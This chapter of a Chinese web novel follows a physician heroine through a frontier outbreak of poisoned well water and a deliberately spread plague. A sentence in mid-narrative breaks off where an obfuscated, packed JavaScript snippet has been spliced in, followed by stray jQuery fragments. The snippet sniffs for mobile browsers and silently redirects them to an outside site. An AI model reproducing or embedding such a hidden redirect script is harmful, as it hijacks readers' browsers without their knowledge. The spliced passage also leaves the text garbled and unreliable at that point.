27. 疫情再现

作品:《首辅心上皎皎

    边关的夜色被伤兵营中的骚动撕裂。


    云佳玲被急促的敲门声惊醒,披衣而起时,陆景皓已经站在门外,面色凝重:“伤兵营出事了。”


    两人快步穿过寂静的营地,还未靠近伤兵营,就听见里面传来野兽般的嘶吼和打斗声。营帐内,四五名士兵正奋力按着一个发病的同伴,那人面目狰狞,双目赤红,力大无穷,竟将几个壮汉都甩开了。


    “小心!”云佳玲惊呼,只见那发病士兵一口咬在一个按住他手臂的人肩上,顿时鲜血淋漓。


    陆景皓迅速上前,一记手刀精准地击在发病士兵的后颈,那人应声软倒。


    “已经不是第一例了。”军医抹着额头的汗,声音颤抖,“今晚突然有十几个人同时发病,症状一模一样。”


    云佳玲蹲下身检查发病者,翻开他的眼睑,又查看他的舌苔和指甲,脸色越来越凝重:“这是中毒症状,但不是普通的毒。”


    她注意到所有发病者都有一个共同点——手臂上都有细小的红点,像是被什么虫子叮咬过。


    “他们今天都去过哪里?吃过什么?喝过什么?”云佳玲连声询问。


    一个还算清醒的伤员虚弱地回答:“今天...今天特别热,我们都喝了西营那口井的水...”


    云佳玲与陆景皓对视一眼,立即带人前往西营水井。


    月色下,那口井看起来平平无奇。云佳玲取水样检验,借助简易的显微镜观察,脸色骤变:“井水被投毒了。”


    她在水中发现了一种罕见的□□剂成分,这种药来自西域,能让人丧失神智,变得狂暴好斗。


    “若在战时大规模使用,后果不堪设想。”云佳玲向闻讯赶来的林凛解释,“少量使用可致人狂躁,量大则直接致命。”


    陆景皓立即下令全军更换水源,并派亲信彻查投毒之人。然而调查尚未展开,更严重的情况发生了。


    次日清晨,城中开始爆发瘟疫。


    最初是几个百姓出现发热、咳嗽的症状,军医以为是普通风寒。但病情迅速恶化,患者很快出现皮疹和呼吸困难。更可怕的是,疫情以惊人的速度蔓延,不过半日,已有数十人病倒。


    云佳玲检查患者后,心沉到了谷底:“是鼠疫。”


    而且不是普通的鼠疫,是与京城疫情中那些异常病例相似的变种鼠疫,病情发展更快,致死率更高。


    “必须立即隔离患者,封锁疫情区域。”云佳玲果断下令,“所有接触过患者的人都要用酒洗手,佩戴口罩。”


    然而边关条件有限,药材短缺,更糟糕的是,军中已经开始恐慌。


    “是北狄人的诅咒!”有人恐慌地叫喊。


    “不,是那个女医者带来的灾祸!”另一种恶意的声音开始传播。


    云佳玲顾不上理会这些流言蜚语,全心投入抗疫工作。她将城中一处废弃的寺庙改为临时医馆,亲自指挥隔离和救治工作。


    陆景皓则负责维持秩序,防止恐慌引发骚乱。他派兵把守各个路口,严格控制人员流动,同时彻查投毒真相。


    疫情第三日,死亡人数开始上升。药材眼看就要见底,云佳玲不得不尝试用当地草药替代稀缺药材。


    “这样下去不是办法。”林凛强撑病体来到临时医馆,“城中存药最多再支撑两日。”


    云佳玲望着满院子的患者,眉头紧锁。她忽然想起什么,从怀中取出母亲的那串项链,轻轻打开吊坠的暗格。


    “兄长可认得这些符号?”她将绢纸上的一些奇怪符号指给林凛看。


    林凛仔细辨认,忽然眼睛一亮:“这是军中使用的密文!记录的是...药材储备点的位置!”


    原来林修远早就预料到可能会有这一天,暗中在边关几个隐蔽地点储备了应急药材。


    根据绢纸上的提示,他们在城北一个废弃的烽火台下找到了大量药材,不仅有大黄、连翘等常见药材,还有一些稀有的解毒剂。


    “父亲...早就料到了。”林凛抚摸着那些保存完好的药材,眼中闪着泪光。


    有了这批药材,抗疫工作得以继续。云佳玲日夜不休地救治患者,陆景皓则在一旁协助,两人配合越发默契。


    这日深夜,云佳玲正在配制新药,陆景皓端着一碗热粥走来:“你已经三天没好好休息了。”


    云佳玲接过粥碗,勉强一笑:“疫情不等人。”


    陆景皓看着她憔悴的面容,眼中满是心疼:“我已经查到投毒者的线索了。”


    云佳玲立即放下粥碗:“是谁?”


    “一个军中的粮草官,三天前突然失踪。”陆景皓压低声音,“我在他住处找到了这个。”


    他取出一枚金线编织的护身符,与之前发现的金线盟信物一模一样。


    “果然是他们。”云佳玲咬牙,“他们是要在军中制造混乱,为北狄入侵创造条件。”


    陆景皓点头:“更可怕的是,我怀疑疫情也不是自然发生的。那个粮草官负责的部分粮草中,发现了病鼠的尸体。”


    云佳玲倒吸一口凉气:“他们是故意传播瘟疫!”


    就在这时,一个护卫惊慌跑来:“林姑娘,不好了!东区有几个患者的症状变得很奇怪!”


    云佳玲急忙赶去,发现几个患者不仅出现了鼠疫症状,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557924|184461||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还伴有严重的精神异常,与之前中毒的士兵症状相似。


    “他们同时中了两种毒。”云佳玲面色凝重,“□□加重了疫情,疫情又为□□提供了掩护。好精密的算计!”


    她立即调整治疗方案,同时应对两种病情。工作量倍增,但她没有丝毫退缩。


    疫情第七日,转折点终于到来。新配制的药剂开始见效,新增患者数量首次下降,重症患者也有了好转迹象。


    全城欢腾,将士们对云佳玲的称呼也从“那个女医者”变成了“林神医”。


    然而云佳玲不敢有丝毫松懈。她知道,金线盟不会就此罢休。


    这日晚间,她正在查阅医书,寻找根治疫情的方法,忽然一阵头晕目眩,差点摔倒。


    “你怎么了?”陆景皓及时扶住她,触手却是一片滚烫。


    云佳玲发烧了。在连日劳累后,她的免疫力下降,终于也被感染了。


    “别告诉兄长。”她恳求陆景皓,“疫情刚有起色,不能在这个时候动摇军心。”


    陆景皓眼中闪过挣扎,最终还是点头答应。他将云佳玲安置在隔离开的房间里,亲自照顾她。


    高烧中,云佳玲迷迷糊糊地喊着现代医学名词,有时又像是回到了京城的小院。陆景皓守在她身边,一遍遍为她擦身降温,喂她服药。


    “坚持住,佳玲。”他在她耳边低语,第一次唤了她的名字,“你说过要与我一起揭开真相的...”


    或许是药效发作,或许是听到了他的呼唤,云佳玲的高烧在第三日终于退了。


    当她虚弱地睁开眼时,第一眼看到的是陆景皓布满血丝却充满欣慰的双眼。


    “疫情...”她虚弱地问。


    “控制住了。”陆景皓紧握她的手,“你创造的药方很有效,大部分患者都已经好转。”


    云佳玲松了口气,随即想起什么:“那个粮草官...”


    “已经找到了,但...”陆景皓面色阴沉,“是具尸体。显然是灭口。”


    云佳玲心一沉。金线盟的手段比她想象的更加狠辣。


    就在这时,林凛推门而入,看到已经苏醒的妹妹,顿时红了眼眶:“你这丫头,总是这么不让人省心。”


    兄妹二人相视而笑,劫后余生的喜悦冲淡了连日的阴霾。


    然而云佳玲知道,这场疫情只是开始。金线盟的阴谋才刚刚揭开一角,更大的风暴还在后面。


    她轻轻抚摸颈间的项链,感受着其中隐藏的秘密。父亲未完成的事业,现在轮到他们来继续了。


    窗外,边关的月色依旧清冷,但黎明的曙光已经悄然降临。